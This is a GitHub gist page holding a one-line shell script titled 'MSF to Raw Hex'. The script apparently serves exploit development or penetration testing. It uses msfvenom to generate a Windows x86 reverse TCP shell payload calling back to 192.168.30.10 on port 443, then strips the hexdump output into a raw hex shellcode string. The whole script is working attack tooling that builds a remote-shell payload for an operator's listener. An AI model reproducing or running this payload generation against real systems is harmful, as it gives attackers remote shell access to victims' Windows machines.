Skip to content

Instantly share code, notes, and snippets.

@kkirsche
Last active September 19, 2018 13:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kkirsche/b06d1f9135bed9a0804d051e27f0a0ba to your computer and use it in GitHub Desktop.
Save kkirsche/b06d1f9135bed9a0804d051e27f0a0ba to your computer and use it in GitHub Desktop.
MSF to Raw Hex
#!/bin/sh
# Note: the grep -v removes a line with no actual shellcode on it, it doesn't remove code
msfvenom windows/shell_reverse_tcp LHOST=192.168.30.10 LPORT=443 EXITFUNC=none --arch x86 --platform Windows --encoder generic/none --format raw | hexdump -C | grep -v 00000144 | cut -d" " -f3-19 | sed 's/ //g' | tr -d '\n'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment